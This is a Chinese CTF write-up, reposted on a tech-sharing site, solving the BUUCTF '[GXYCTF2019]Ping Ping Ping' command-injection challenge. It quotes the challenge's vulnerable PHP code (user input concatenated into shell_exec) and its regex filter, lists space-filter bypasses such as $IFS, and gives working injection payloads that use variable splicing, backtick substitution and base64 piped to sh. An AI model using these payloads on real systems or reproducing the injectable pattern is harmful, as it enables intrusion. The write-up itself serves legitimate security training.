ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF-Web:[GXYCTF2019]Ping Ping Ping

2022-04-24 15:31:06  阅读:228  来源: 互联网

标签:Web BUUCTF IFS 0.1 ip Ping cat 127.0 php


题目

解题过程

1、题目页面提示?ip=,猜测是让我们把这个当做变量上传参数,由此猜想是命令注入

2、用管道符加上linux常用命令ls(windwos可以尝试dir)试试

所谓管道符(linux)的解释与用法如下:

尝试命令:

?ip=127.0.0.1;ls


看到flag.php,那就使用cat flag.php命令尝试读取

?ip=127.0.0.1;cat flag.php


被过滤了空格,过滤空格的方法如下:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

尝试命令1:

?ip=127.0.0.1;cat$IFS$1flag.php

还是被过滤了
查看一下index.php,查看一下过滤机制,命令如下:

?ip=127.0.0.1;cat$IFS$1index.php

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

这些是正则匹配的过滤方式,好像过滤了很多命令

1、利用*匹配任意不行

?id=127.0.0.1;cat$IFS$1fl*

被过滤了

2、尝试base64绕过

?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1bash

还是不行

3、尝试ca\t$IFS$1fl\ag.php

?ip=127.0.0.1;ca\t$IFS$1fl\ag.php

被过滤了

4、尝试cat fl’'ag.php

?ip=127.0.0.1;cat$IFS$1fl’'ag.php

还是被过滤了

5、构造一个$a变量,尝试a=g;cat$IFS$1fla$a.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php


成功,可以在注释里找到flag

6、使用 $IFS$9绕过空格,配合「反引号」的高优先级特性查看 flag.php 文件(将ls的结果当成cat的参数,那样就不用出现flag这个参数了)

?ip=127.0.0.1;cat$IFS$9`ls`


成功,可以在注释里找到flag

7、base64绕过时bash被过滤了,尝试用sh代替

?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh


成功,可以在注释里找到flag

总结

以上就是我对这道题的解法。因本人菜鸡一只,如果有什么不对的地方,实属正常。还请各位大佬予以指正,谢谢!

标签:Web,BUUCTF,IFS,0.1,ip,Ping,cat,127.0,php
来源: https://www.cnblogs.com/LY613313/p/16186012.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有